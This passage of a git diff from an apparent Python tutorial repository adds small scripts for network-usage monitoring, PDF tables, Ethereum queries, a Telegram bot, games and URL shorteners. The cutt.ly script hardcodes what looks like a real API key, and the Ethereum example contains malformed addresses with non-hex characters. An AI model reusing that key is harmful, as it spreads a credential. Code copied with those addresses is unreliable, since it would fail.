- global_df.at[pid, "Upload"] + process["Download Speed"] = traffic[1] - global_df.at[pid, "Download"] + except (KeyError, AttributeError): + # If it's the first time running this function, then the speed is the current traffic + # You can think of it as if old traffic is 0 + process["Upload Speed"] = traffic[0] + process["Download Speed"] = traffic[1] + # append the process to our processes list + processes.append(process) + # construct our Pandas DataFrame + df = pd.DataFrame(processes) + try: + # set the PID as the index of the dataframe + df = df.set_index("pid") + # sort by column, feel free to edit this column + df.sort_values("Download", inplace=True, ascending=False) + except KeyError as e: + # when dataframe is empty + pass + # make another copy of the dataframe just for fancy printing + printing_df = df.copy() + try: + # apply the function get_size to scale the stats like '532.6KB/s', etc. + printing_df["Download"] = printing_df["Download"].apply(get_size) + printing_df["Upload"] = printing_df["Upload"].apply(get_size) + printing_df["Download Speed"] = printing_df["Download Speed"].apply(get_size).apply(lambda s: f"{s}/s") + printing_df["Upload Speed"] = printing_df["Upload Speed"].apply(get_size).apply(lambda s: f"{s}/s") + except KeyError as e: + # when dataframe is empty again + pass + # clear the screen based on your OS + os.system("cls") if "nt" in os.name else os.system("clear") + # print our dataframe + print(printing_df.to_string()) + # update the global df to our dataframe + global_df = df + + +def print_stats(): + """Simple function that keeps printing the stats""" + while is_program_running: + time.sleep(1) + print_pid2traffic() + + + +if __name__ == "__main__": + # start the printing thread + printing_thread = Thread(target=print_stats) + printing_thread.start() + # start the get_connections() function to update the current connections of this machine + connections_thread = Thread(target=get_connections) + connections_thread.start() + # start sniffing + print("Started sniffing") + sniff(prn=process_packet, store=False) + # setting the global variable to False to exit the program + is_program_running = False + + \ No newline at end of file diff --git a/general/network-usage/requirements.txt b/general/network-usage/requirements.txt new file mode 100644 index 00000000..d672e5bb --- /dev/null +++ b/general/network-usage/requirements.txt @@ -0,0 +1,3 @@ +psutil +scapy +pandas \ No newline at end of file diff --git a/general/pdf-table-extractor/1710.05006.pdf b/general/pdf-table-extractor/1710.05006.pdf new file mode 100644 index 00000000..f8fcc4b4 Binary files /dev/null and b/general/pdf-table-extractor/1710.05006.pdf differ diff --git a/general/pdf-table-extractor/README.md b/general/pdf-table-extractor/README.md index e75948f6..2355c725 100644 --- a/general/pdf-table-extractor/README.md +++ b/general/pdf-table-extractor/README.md @@ -1,8 +1,6 @@ # [How to Extract PDF Tables in Python](https://www.thepythoncode.com/article/extract-pdf-tables-in-python-camelot) To run this: -- You need to install required dependencies for the library [here](https://camelot-py.readthedocs.io/en/master/user/install-deps.html#install-deps). -- `pip3 install -r requirements.txt` -- Extract PDFs of the file `foo.pdf`: - ``` - python pdf_table_extractor.py foo.pdf - ``` \ No newline at end of file +- You need to install required dependencies for the camelot library [here](https://camelot-py.readthedocs.io/en/master/user/install-deps.html#install-deps). +- `pip3 install -r requirements.txt`. +- `pdf_table_extractor_camelot.py` is using camelot library. +- `pdf_table_extractor_tabula.py` is using tabula-py library. \ No newline at end of file diff --git a/general/pdf-table-extractor/pdf_table_extractor.py b/general/pdf-table-extractor/pdf_table_extractor_camelot.py similarity index 81% rename from general/pdf-table-extractor/pdf_table_extractor.py rename to general/pdf-table-extractor/pdf_table_extractor_camelot.py index e647f5a1..99e5d559 100644 --- a/general/pdf-table-extractor/pdf_table_extractor.py +++ b/general/pdf-table-extractor/pdf_table_extractor_camelot.py @@ -13,8 +13,10 @@ # print the first table as Pandas DataFrame print(tables[0].df) -# export individually +# export individually as CSV tables[0].to_csv("foo.csv") +# export individually as Excel (.xlsx extension) +tables[0].to_excel("foo.xlsx") # or export all in a zip tables.export("foo.csv", f="csv", compress=True) diff --git a/general/pdf-table-extractor/pdf_table_extractor_tabula.py b/general/pdf-table-extractor/pdf_table_extractor_tabula.py new file mode 100644 index 00000000..d65c24f2 --- /dev/null +++ b/general/pdf-table-extractor/pdf_table_extractor_tabula.py @@ -0,0 +1,24 @@ +import tabula +import os +# uncomment if you want to pass pdf file from command line arguments +# import sys + +# read PDF file +# uncomment if you want to pass pdf file from command line arguments +# tables = tabula.read_pdf(sys.argv[1], pages="all") +tables = tabula.read_pdf("1710.05006.pdf", pages="all") + +# save them in a folder +folder_name = "tables" +if not os.path.isdir(folder_name): + os.mkdir(folder_name) +# iterate over extracted tables and export as excel individually +for i, table in enumerate(tables, start=1): + table.to_excel(os.path.join(folder_name, f"table_{i}.xlsx"), index=False) + +# convert all tables of a PDF file into a single CSV file +# supported output_formats are "csv", "json" or "tsv" +tabula.convert_into("1710.05006.pdf", "output.csv", output_format="csv", pages="all") +# convert all PDFs in a folder into CSV format +# `pdfs` folder should exist in the current directory +tabula.convert_into_by_batch("pdfs", output_format="csv", pages="all") \ No newline at end of file diff --git a/general/pdf-table-extractor/pdfs/1710.05006.pdf b/general/pdf-table-extractor/pdfs/1710.05006.pdf new file mode 100644 index 00000000..f8fcc4b4 Binary files /dev/null and b/general/pdf-table-extractor/pdfs/1710.05006.pdf differ diff --git a/general/pdf-table-extractor/pdfs/foo.pdf b/general/pdf-table-extractor/pdfs/foo.pdf new file mode 100644 index 00000000..742e0185 Binary files /dev/null and b/general/pdf-table-extractor/pdfs/foo.pdf differ diff --git a/general/pdf-table-extractor/requirements.txt b/general/pdf-table-extractor/requirements.txt index d6090762..001c1ded 100644 --- a/general/pdf-table-extractor/requirements.txt +++ b/general/pdf-table-extractor/requirements.txt @@ -1 +1,2 @@ -camelot-py[cv] \ No newline at end of file +camelot-py[cv] +tabula-py \ No newline at end of file diff --git a/general/printing-in-colors/README.md b/general/printing-in-colors/README.md new file mode 100644 index 00000000..31206d41 --- /dev/null +++ b/general/printing-in-colors/README.md @@ -0,0 +1 @@ +# [How to Change Text Color in Python](https://www.thepythoncode.com/article/change-text-color-in-python) \ No newline at end of file diff --git a/general/printing-in-colors/colors.py b/general/printing-in-colors/colors.py new file mode 100644 index 00000000..70c59060 --- /dev/null +++ b/general/printing-in-colors/colors.py @@ -0,0 +1,28 @@ +from colorama import init, Fore, Back, Style + +# essential for Windows environment +init() +# all available foreground colors +FORES = [ Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE ] +# all available background colors +BACKS = [ Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE ] +# brightness values +BRIGHTNESS = [ Style.DIM, Style.NORMAL, Style.BRIGHT ] + + +def print_with_color(s, color=Fore.WHITE, brightness=Style.NORMAL, **kwargs): + """Utility function wrapping the regular `print()` function + but with colors and brightness""" + print(f"{brightness}{color}{s}{Style.RESET_ALL}", **kwargs) + +# printing all available foreground colors with different brightness +for fore in FORES: + for brightness in BRIGHTNESS: + print_with_color("Hello world!", color=fore, brightness=brightness) + +# printing all available foreground and background colors with different brightness +for fore in FORES: + for back in BACKS: + for brightness in BRIGHTNESS: + print_with_color("A", color=back+fore, brightness=brightness, end=' ') + print() \ No newline at end of file diff --git a/general/printing-in-colors/requirements.txt b/general/printing-in-colors/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/general/printing-in-colors/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/general/query-ethereum/README.md b/general/query-ethereum/README.md new file mode 100644 index 00000000..bdfcca1b --- /dev/null +++ b/general/query-ethereum/README.md @@ -0,0 +1 @@ +# [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python) \ No newline at end of file diff --git a/general/query-ethereum/query_ethereum_blockchain.py b/general/query-ethereum/query_ethereum_blockchain.py new file mode 100644 index 00000000..b524eee2 --- /dev/null +++ b/general/query-ethereum/query_ethereum_blockchain.py @@ -0,0 +1,116 @@ +from web3 import Web3 + +# infura API key +API_KEY = "put your API key here" +# change endpoint to mainnet or ropsten or any other of your account +url = f"https://.infura.io/v3/{API_KEY}" + +w3 = Web3(Web3.HTTPProvider(url)) +# see whether the connection is established +res = w3.isConnected() +print(res) + + +# get latest block +latest = w3.eth.get_block('latest') +print(latest) +# print the block number +print(latest['number']) + + +# query individual transactions +transaction1 = w3.eth.get_transaction('0x0e3d45ec3e1d145842ce5bc56ad168e4a98508e0429da96c1ff89f11076da36d') +print(transaction1) + + +# use block number to query transactions +transaction2 = w3.eth.get_transaction_by_block(15410924, 0) +print(transaction2) + + +# get number of transactions in a block +transactionCount = w3.eth.get_transaction_count('0x486976656f6e2065752d68656176792d657163') +print(transactionCount) + + +# check if a block address is valid +isValid = w3.isAddress('0xed44e77fb3408cd5ad415d7467af6f6783218fb74c3824de1258f6d266bcc7b7') +print(isValid) + + +# check if an address is a valid EIP-55 checksum address +isChecksumAddressValid = Web3.isChecksumAddress('0x486976656f6e2065752d68656176792d657163') +print(isChecksumAddressValid) + + +# get balance of a block address +balance = w3.eth.get_balance('0xd3CdA913deB6f67967B99D67aCDFa1712C293601') +print(balance) + + +# get proof of a block +proof = w3.eth.get_proof('0x486976656f6e2065752d68656176792d657163', [0], 3391) +print(proof) + + +# get uncle of a block +w3.eth.get_uncle_by_block(15410924, 0) + + +nonce = w3.eth.getTransactionCount('0x610Ae88399fc1687FA7530Aac28eC2539c7d6d63', 'latest') +# create a transaction +transaction = { + 'to': '0x31B98D14007bDEe637298086988A0bBd31184523', + 'from': '0x31B98D14007bDEe63EREEDFT34544646MOI22', + 'value': 500, + 'gas': 10000, + 'maxFeePerGas': 1000000208, + 'nonce': nonce, +} +# send the transaction +w3.eth.send_transaction(transaction) + + +# sign a transaction +signed = w3.eth.sign_transaction( + dict( + nonce=nonce, + maxFeePerGas=34300000, + maxPriorityFeePerGas=25000000, + gas=100000, + to='0xerecfBYWlB99D67aCDFa17EREFEerrtr73601', + value=1, + data=b'', + ) +) + +address = '0x706f6f6c696e2e636f6d21688947c8f76c4e92' +abi = '[{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"minter_",........' # abi of the contract +# create a contract object +contract = w3.eth.contract(address=address, abi=abi) + + +# total supply of the token +totalSupply = contract.functions.totalSupply().call() +print(totalSupply) + + +# read the data and update the state +contract.functions.storedvalue().call() +tx_hash = contract.functions.updateValue(100).transact() + + +# retrieve token metadata +print(contract.functions.name().call()) +print(contract.functions.decimals().call()) +print(contract.functions.symbol().call()) +# output: +# SHIBACHU +# 9 +# SHIBACHU + + +# find the account balance +address = '0x5eaaf114aad1313e7440d2ff805ced993e566df' +balance = contract.functions.balanceOf(address).call() + diff --git a/general/query-ethereum/requirements.txt b/general/query-ethereum/requirements.txt new file mode 100644 index 00000000..32905575 --- /dev/null +++ b/general/query-ethereum/requirements.txt @@ -0,0 +1 @@ +web3 \ No newline at end of file diff --git a/general/recording-and-playing-audio/audio_recorder.py b/general/recording-and-playing-audio/audio_recorder.py index d10b7997..75a13893 100644 --- a/general/recording-and-playing-audio/audio_recorder.py +++ b/general/recording-and-playing-audio/audio_recorder.py @@ -34,7 +34,7 @@ frames = [] print("Recording...") -for i in range(int(44100 / chunk * record_seconds)): +for i in range(int(sample_rate / chunk * record_seconds)): data = stream.read(chunk) # if you want to hear your voice while recording # stream.write(data) diff --git a/general/screen-recorder/screen_recorder.py b/general/screen-recorder/screen_recorder.py index 1e0e26e5..f0385fe7 100644 --- a/general/screen-recorder/screen_recorder.py +++ b/general/screen-recorder/screen_recorder.py @@ -2,14 +2,18 @@ import numpy as np import pyautogui -# display screen resolution, get it from your OS settings -SCREEN_SIZE = (1920, 1080) +# display screen resolution, get it using pyautogui itself +SCREEN_SIZE = tuple(pyautogui.size()) # define the codec fourcc = cv2.VideoWriter_fourcc(*"XVID") +# frames per second +fps = 12.0 # create the video write object -out = cv2.VideoWriter("output.avi", fourcc, 20.0, (SCREEN_SIZE)) +out = cv2.VideoWriter("output.avi", fourcc, fps, (SCREEN_SIZE)) +# the time you want to record in seconds +record_seconds = 10 -while True: +for i in range(int(record_seconds * fps)): # make a screenshot img = pyautogui.screenshot() # convert these pixels to a proper numpy array to work with OpenCV diff --git a/general/simple-math-game/README.md b/general/simple-math-game/README.md new file mode 100644 index 00000000..9497a648 --- /dev/null +++ b/general/simple-math-game/README.md @@ -0,0 +1,27 @@ +# [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python) +To run this: +- `pip install -r requirements.txt` +- + ``` + $ python simple_math_game.py + + Round down to one Number after the Comma. + When asked to press enter to continue, type stop to stop. + + 5 ** 4 = 625 + Correct! + Points: 1 + Press "Enter" to continue + + 9 ** 18 = 190 + Wrong! + Solution: 150094635296999121 + Points: 0 + Press "Enter" to continue + + 7 - 17 = -10 + Correct! + Points: 1 + Press "Enter" to continue + stop + ``` \ No newline at end of file diff --git a/general/simple-math-game/requirements.txt b/general/simple-math-game/requirements.txt new file mode 100644 index 00000000..49433279 --- /dev/null +++ b/general/simple-math-game/requirements.txt @@ -0,0 +1 @@ +pyinputplus \ No newline at end of file diff --git a/general/simple-math-game/simple_math_game.py b/general/simple-math-game/simple_math_game.py new file mode 100644 index 00000000..6de8e374 --- /dev/null +++ b/general/simple-math-game/simple_math_game.py @@ -0,0 +1,38 @@ +# Imports +import pyinputplus as pyip +from random import choice + +# Variables +questionTypes = ['+', '-', '*', '/', '**'] +numbersRange = [num for num in range(1, 20)] +points = 0 + +# Hints +print('Round down to one Number after the Comma.') +print('When asked to press enter to continue, type stop to stop.\n') + +# Game Loop +while True: + # Deciding and generating question + currenType = choice(questionTypes) + + promptEquation = str(choice(numbersRange)) + ' ' + currenType + ' ' + str(choice(numbersRange)) + solution = round(eval(promptEquation), 1) + + # Getting answer from User + answer = pyip.inputNum(prompt=promptEquation + ' = ') + + # Feedback and Points + if answer == solution: + points += 1 + print('Correct!\nPoints: ',points) + else: + points -= 1 + print('Wrong!\nSolution: '+str(solution)+'\nPoints: ',points) + + # Stopping the Game + if pyip.inputStr('Press "Enter" to continue', blank=True) == 'stop': + break + + # Some Padding + print('\n\n') diff --git a/general/sys-info/requirements.txt b/general/sys-info/requirements.txt index 0b574b52..49f83d3e 100644 --- a/general/sys-info/requirements.txt +++ b/general/sys-info/requirements.txt @@ -1 +1,3 @@ -psutil \ No newline at end of file +psutil +tabulate +gputil \ No newline at end of file diff --git a/general/sys-info/sys_info.py b/general/sys-info/sys_info.py index 3b455075..c6f99c93 100644 --- a/general/sys-info/sys_info.py +++ b/general/sys-info/sys_info.py @@ -108,3 +108,32 @@ def get_size(bytes, suffix="B"): print(f"Total Bytes Received: {get_size(net_io.bytes_recv)}") +# GPU information +import GPUtil +from tabulate import tabulate +print("="*40, "GPU Details", "="*40) +gpus = GPUtil.getGPUs() +list_gpus = [] +for gpu in gpus: + # get the GPU id + gpu_id = gpu.id + # name of GPU + gpu_name = gpu.name + # get % percentage of GPU usage of that GPU + gpu_load = f"{gpu.load*100}%" + # get free memory in MB format + gpu_free_memory = f"{gpu.memoryFree}MB" + # get used memory + gpu_used_memory = f"{gpu.memoryUsed}MB" + # get total memory + gpu_total_memory = f"{gpu.memoryTotal}MB" + # get GPU temperature in Celsius + gpu_temperature = f"{gpu.temperature} °C" + gpu_uuid = gpu.uuid + list_gpus.append(( + gpu_id, gpu_name, gpu_load, gpu_free_memory, gpu_used_memory, + gpu_total_memory, gpu_temperature, gpu_uuid + )) + +print(tabulate(list_gpus, headers=("id", "name", "load", "free memory", "used memory", "total memory", + "temperature", "uuid"))) diff --git a/general/telegram-bot/README.md b/general/telegram-bot/README.md new file mode 100644 index 00000000..a43b03bf --- /dev/null +++ b/general/telegram-bot/README.md @@ -0,0 +1,5 @@ +# [How to Make a Telegram Bot in Python](https://www.thepythoncode.com/article/make-a-telegram-bot-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Get an API key contacting @FatherBot in Telegram +- Run `telegram_bot.py` \ No newline at end of file diff --git a/general/telegram-bot/requirements.txt b/general/telegram-bot/requirements.txt new file mode 100644 index 00000000..11a50f99 --- /dev/null +++ b/general/telegram-bot/requirements.txt @@ -0,0 +1 @@ +python-telegram-bot \ No newline at end of file diff --git a/general/telegram-bot/telegram_bot.py b/general/telegram-bot/telegram_bot.py new file mode 100644 index 00000000..0eb26004 --- /dev/null +++ b/general/telegram-bot/telegram_bot.py @@ -0,0 +1,101 @@ +import telegram +import telegram.ext +import re +from random import randint +import logging +logging.basicConfig(level=logging.INFO, + format='%(asctime)s - %(name)s - %(levelname)s - %(message)s') + +# The API Key we received for our bot +API_KEY = "" +# Create an updater object with our API Key +updater = telegram.ext.Updater(API_KEY) +# Retrieve the dispatcher, which will be used to add handlers +dispatcher = updater.dispatcher +# Our states, as integers +WELCOME = 0 +QUESTION = 1 +CANCEL = 2 +CORRECT = 3 + +# The entry function +def start(update_obj, context): + # send the question, and show the keyboard markup (suggested answers) + update_obj.message.reply_text("Hello there, do you want to answer a question? (Yes/No)", + reply_markup=telegram.ReplyKeyboardMarkup([['Yes', 'No']], one_time_keyboard=True) + ) + # go to the WELCOME state + return WELCOME + +# helper function, generates new numbers and sends the question +def randomize_numbers(update_obj, context): + # store the numbers in the context + context.user_data['rand_x'], context.user_data['rand_y'] = randint(0,1000), randint(0, 1000) + # send the question + update_obj.message.reply_text(f"Calculate {context.user_data['rand_x']}+{context.user_data['rand_y']}") + +# in the WELCOME state, check if the user wants to answer a question +def welcome(update_obj, context): + if update_obj.message.text.lower() in ['yes', 'y']: + # send question, and go to the QUESTION state + randomize_numbers(update_obj, context) + return QUESTION + else: + # go to the CANCEL state + return CANCEL + +# in the QUESTION state +def question(update_obj, context): + # expected solution + solution = int(context.user_data['rand_x']) + int(context.user_data['rand_y']) + # check if the solution was correct + if solution == int(update_obj.message.text): + # correct answer, ask the user if he found tutorial helpful, and go to the CORRECT state + update_obj.message.reply_text("Correct answer!") + update_obj.message.reply_text("Was this tutorial helpful to you?") + return CORRECT + else: + # wrong answer, reply, send a new question, and loop on the QUESTION state + update_obj.message.reply_text("Wrong answer :'(") + # send another random numbers calculation + randomize_numbers(update_obj, context) + return QUESTION + +# in the CORRECT state +def correct(update_obj, context): + if update_obj.message.text.lower() in ['yes', 'y']: + update_obj.message.reply_text("Glad it was useful! ^^") + else: + update_obj.message.reply_text("You must be a programming wizard already!") + # get the user's first name + first_name = update_obj.message.from_user['first_name'] + update_obj.message.reply_text(f"See you {first_name}!, bye") + return telegram.ext.ConversationHandler.END + +def cancel(update_obj, context): + # get the user's first name + first_name = update_obj.message.from_user['first_name'] + update_obj.message.reply_text( + f"Okay, no question for you then, take care, {first_name}!", reply_markup=telegram.ReplyKeyboardRemove() + ) + return telegram.ext.ConversationHandler.END + +# a regular expression that matches yes or no +yes_no_regex = re.compile(r'^(yes|no|y|n)$', re.IGNORECASE) +# Create our ConversationHandler, with only one state +handler = telegram.ext.ConversationHandler( + entry_points=[telegram.ext.CommandHandler('start', start)], + states={ + WELCOME: [telegram.ext.MessageHandler(telegram.ext.Filters.regex(yes_no_regex), welcome)], + QUESTION: [telegram.ext.MessageHandler(telegram.ext.Filters.regex(r'^\d+$'), question)], + CANCEL: [telegram.ext.MessageHandler(telegram.ext.Filters.regex(yes_no_regex), cancel)], + CORRECT: [telegram.ext.MessageHandler(telegram.ext.Filters.regex(yes_no_regex), correct)], + }, + fallbacks=[telegram.ext.CommandHandler('cancel', cancel)], + ) +# add the handler to the dispatcher +dispatcher.add_handler(handler) +# start polling for updates from Telegram +updater.start_polling() +# block until a signal (like one sent by CTRL+C) is sent +updater.idle() \ No newline at end of file diff --git a/general/text-adventure-game/README.md b/general/text-adventure-game/README.md new file mode 100644 index 00000000..4fb48d62 --- /dev/null +++ b/general/text-adventure-game/README.md @@ -0,0 +1 @@ +# [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python) \ No newline at end of file diff --git a/general/text-adventure-game/requirements.txt b/general/text-adventure-game/requirements.txt new file mode 100644 index 00000000..49433279 --- /dev/null +++ b/general/text-adventure-game/requirements.txt @@ -0,0 +1 @@ +pyinputplus \ No newline at end of file diff --git a/general/text-adventure-game/story.json b/general/text-adventure-game/story.json new file mode 100644 index 00000000..349d2c9f --- /dev/null +++ b/general/text-adventure-game/story.json @@ -0,0 +1,9 @@ +{ + "0": ["You embark on a new adventure, you are at a conjunction where do you go?", [1, 2], "Go Back", ""], + "1": ["You Encounter an angry Mob of Programmers, what do you do?", [3, 4], "Go Right", ""], + "2": ["You see the City of schaffhausen in front of you", [0, 3], "Go Left", ""], + "3": ["I dont know why you did that but okay.", [4, 5], "Use Banana", "minus-clock"], + "4": ["Seems like it worked they did not notice you. One of them slips you a banana", [4, 5], "Pull out Laptop", "plus-banana"], + "5": ["The Banana was poisonous", ["end"], "Eat Banana", ""], + "10": ["You fell over and now you are in grave pain ... ", ["end"], "Pull out Laptop", ""] +} \ No newline at end of file diff --git a/general/text-adventure-game/text_adventure.py b/general/text-adventure-game/text_adventure.py new file mode 100644 index 00000000..ca12c894 --- /dev/null +++ b/general/text-adventure-game/text_adventure.py @@ -0,0 +1,96 @@ +# Import pyinputplus for choice inputs and os to clear the console. +import pyinputplus +import os +import json + +# setting up some variables +currentKey = '0' +currentKeys = [] +itemAlreadyAdded = False + +# Get the Story Prompts +# A dictionary is used because we dont want to allow +# duplicate keys +with open('story.json', 'r') as f: + storyPrompts = json.load(f) + +inventory = { + 'banana(s)': 0, + 'clock(s)': 2, + 'swords(s)': 0, +} + +# Check if the prompts are valid +for prompt in storyPrompts: + promptText, keys, *_ = storyPrompts[prompt] + + # Add ":" at the end of the prompt Text + if not promptText.endswith(':'): + storyPrompts[prompt][0] = promptText + ': ' + + # Check if the keys are strings, if not transform them + storyPrompts[prompt][1] = [str(i) for i in keys] + + +# Giving the user some instructions. +print('Type in the number of the prompt or -i to view your inventory ... have fun.') + +# Prompt Loop +while True: + # Clearing the Console on all platforms + os.system('cls' if os.name == 'nt' else 'clear') + # Get the current prompt all its associated data + currentPrompt, currentKeys, _, action = storyPrompts[currentKey] + # Finish the Adventure when the next keys list contains the string 'end' + if 'end' in currentKeys: + break + # Look for inventory Changes + if not itemAlreadyAdded: + if 'minus' in action: + inventory[action.split('-')[1]+'(s)'] -= 1 + if 'plus' in action: + inventory[action.split('-')[1]+'(s)'] += 1 + # Add Option Descriptions to the current Prompt with their number + for o in currentKeys: + + invalidOption = False + + thisaction = storyPrompts[o][3] + if 'minus' in thisaction: + item = storyPrompts[o][3].split('-')[1]+'(s)' + if inventory[item] == 0: + print(storyPrompts[o][3].split('-')[1]+'(s)') + invalidOption = True + + if not invalidOption: + currentPrompt += f'\n{o}. {storyPrompts[o][2]}' + + + currentPrompt += '\n\nWhat do you do? ' + + # Get the input from the user, only give them the keys as a choice so they dont + # type in something invalid. + userInput = pyinputplus.inputChoice(choices=(currentKeys + ['-i']), prompt=currentPrompt) + + # Printing out the inventory if the user types in -i + if '-i' in userInput: + print(f'\nCurrent Inventory: ') + + for i in inventory: + print(f'{i} : {inventory[i]}') + + print ('\n') + + input('Press Enter to continue ... ') + + itemAlreadyAdded = True + + continue + else: + itemAlreadyAdded = False + + currentKey = userInput + +# Printing out the last prompt so the user knows what happened to him. +print(storyPrompts[currentKey][0]) +print('\nStory Finished ...') diff --git a/general/transfer-files/client/sender.py b/general/transfer-files/client/sender.py index b4738e7c..b038654e 100644 --- a/general/transfer-files/client/sender.py +++ b/general/transfer-files/client/sender.py @@ -26,7 +26,7 @@ def send_file(filename, host, port): # start sending the file progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "rb") as f: - for _ in progress: + while True: # read the bytes from the file bytes_read = f.read(BUFFER_SIZE) if not bytes_read: @@ -47,7 +47,7 @@ def send_file(filename, host, port): parser = argparse.ArgumentParser(description="Simple File Sender") parser.add_argument("file", help="File name to send") parser.add_argument("host", help="The host/IP address of the receiver") - parser.add_argument("-p", "--port", help="Port to use, default is 5001", default=5001) + parser.add_argument("-p", "--port", help="Port to use, default is 5001", type=int, default=5001) args = parser.parse_args() filename = args.file host = args.host diff --git a/general/transfer-files/server/receiver.py b/general/transfer-files/server/receiver.py index cc31dfab..50d40a2c 100644 --- a/general/transfer-files/server/receiver.py +++ b/general/transfer-files/server/receiver.py @@ -41,7 +41,7 @@ # and writing to the file stream progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024) with open(filename, "wb") as f: - for _ in progress: + while True: # read 1024 bytes from the socket (receive) bytes_read = client_socket.recv(BUFFER_SIZE) if not bytes_read: diff --git a/general/url-shortener/README.md b/general/url-shortener/README.md new file mode 100644 index 00000000..a6ba7b31 --- /dev/null +++ b/general/url-shortener/README.md @@ -0,0 +1,7 @@ +# [How to Make a URL Shortener in Python](https://www.thepythoncode.com/article/make-url-shortener-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Edit your account credentials for both `bitly_shortener.py` and `cuttly_shortener.py` and run the scripts along with URL you want to shorten, example: + ``` + python bitly_shortener.py https://www.thepythoncode.com/article/make-url-shortener-in-python + ``` \ No newline at end of file diff --git a/general/url-shortener/bitly_shortener.py b/general/url-shortener/bitly_shortener.py new file mode 100644 index 00000000..350a5b30 --- /dev/null +++ b/general/url-shortener/bitly_shortener.py @@ -0,0 +1,39 @@ +import requests +import sys + +# account credentials +username = "o_3v0ulxxxxx" +password = "your_password_here" + +# the URL you want to shorten +url = sys.argv[1] + +# get the access token +auth_res = requests.post("https://api-ssl.bitly.com/oauth/access_token", auth=(username, password)) +if auth_res.status_code == 200: + # if response is OK, get the access token + access_token = auth_res.content.decode() + print("[!] Got access token:", access_token) +else: + print("[!] Cannot get access token, exiting...") + exit() + +# construct the request headers with authorization +headers = {"Authorization": f"Bearer {access_token}"} + +# get the group UID associated with our account +groups_res = requests.get("https://api-ssl.bitly.com/v4/groups", headers=headers) +if groups_res.status_code == 200: + # if response is OK, get the GUID + groups_data = groups_res.json()['groups'][0] + guid = groups_data['guid'] +else: + print("[!] Cannot get GUID, exiting...") + exit() + +# make the POST request to get shortened URL for `url` +shorten_res = requests.post("https://api-ssl.bitly.com/v4/shorten", json={"group_guid": guid, "long_url": url}, headers=headers) +if shorten_res.status_code == 200: + # if response is OK, get the shortened URL + link = shorten_res.json().get("link") + print("Shortened URL:", link) \ No newline at end of file diff --git a/general/url-shortener/cuttly_shortener.py b/general/url-shortener/cuttly_shortener.py new file mode 100644 index 00000000..877bc762 --- /dev/null +++ b/general/url-shortener/cuttly_shortener.py @@ -0,0 +1,23 @@ +import requests +import sys + +# replace your API key +api_key = "64d1303e4ba02f1ebba4699bc871413f0510a" + +# the URL you want to shorten +url = sys.argv[1] + +# preferred name in the URL + +api_url = f"https://cutt.ly/api/api.php?key={api_key}&short={url}" +# or +# api_url = f"https://cutt.ly/api/api.php?key={api_key}&short={url}&name=some_unique_name" + +# make the request +data = requests.get(api_url).json()["url"] +if data["status"] == 7: + # OK, get shortened URL + shortened_url = data["shortLink"] + print("Shortened URL:", shortened_url) +else: + print("[!] Error Shortening URL:", data) \ No newline at end of file diff --git a/general/url-shortener/requirements.txt b/general/url-shortener/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/general/url-shortener/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/general/using-custom-search-engine-api/README.md b/general/using-custom-search-engine-api/README.md index 07050108..e7811508 100644 --- a/general/using-custom-search-engine-api/README.md +++ b/general/using-custom-search-engine-api/README.md @@ -2,7 +2,7 @@ To run this: - `pip3 install -r requirements.txt` - You need to setup a CSE account, check [the tutorial](https://www.thepythoncode.com/article/use-google-custom-search-engine-api-in-python) on how you can set up one. -- Change `API_KEY` and `SEARCH_ENGINE_ID` to yours, and then: +- Change `API_KEY` and `SEARCH_ENGINE_ID` variables to yours, and then: ``` python search_engine.py "python" ``` @@ -25,4 +25,31 @@ To run this: Description: Looking for Python with a different OS? Python for Windows, Linux/UNIX, Mac OS X, Other. Want to help test development versions of Python? Prereleases ... URL: https://www.python.org/downloads/ + <..SNIPPED..> + ``` +- You can specify the page number, let's get 3rd result page for instance: + ``` + python search_engine.py "python" 3 + ``` + Here is a **truncated output**: + ``` + ========== Result #21 ========== + Title: Python Tutorial - Tutorialspoint + Description: Python is a general-purpose interpreted, interactive, object-oriented, and high- + level programming language. It was created by Guido van Rossum during 1985- + ... + URL: https://www.tutorialspoint.com/python/index.htm + + ========== Result #22 ========== + Title: Google Python Style Guide + Description: Python is the main dynamic language used at Google. This style guide is a list of + dos and don'ts for Python programs. To help you format code correctly, we've ... + URL: http://google.github.io/styleguide/pyguide.html + + ========== Result #23 ========== + Title: Individual Edition | Anaconda + Description: Open Source Anaconda Individual Edition is the world's most popular Python + distribution platform with over 20 million users worldwide. You can trust in… + URL: https://www.anaconda.com/products/individual + <..SNIPPED..> ``` \ No newline at end of file diff --git a/general/using-custom-search-engine-api/search_engine.py b/general/using-custom-search-engine-api/search_engine.py index f8a47589..32374e3e 100644 --- a/general/using-custom-search-engine-api/search_engine.py +++ b/general/using-custom-search-engine-api/search_engine.py @@ -5,11 +5,24 @@ API_KEY = "" # get your Search Engine ID on your CSE control panel SEARCH_ENGINE_ID = "" -# the search query you want, from the command line -query = sys.argv[1] +# the search query you want, from the command line (e.g python search_engine.py 'python') +try: + query = sys.argv[1] +except: + print("Please specify a search query") + exit() +try: + page = int(sys.argv[2]) + # make sure page is positive + assert page > 0 +except: + print("Page number isn't specified, defaulting to 1") + page = 1 # constructing the URL # doc: https://developers.google.com/custom-search/v1/using_rest -url = f"https://www.googleapis.com/customsearch/v1?key={API_KEY}&cx={SEARCH_ENGINE_ID}&q={query}" +# calculating start, (page=2) => (start=11), (page=3) => (start=21) +start = (page - 1) * 10 + 1 +url = 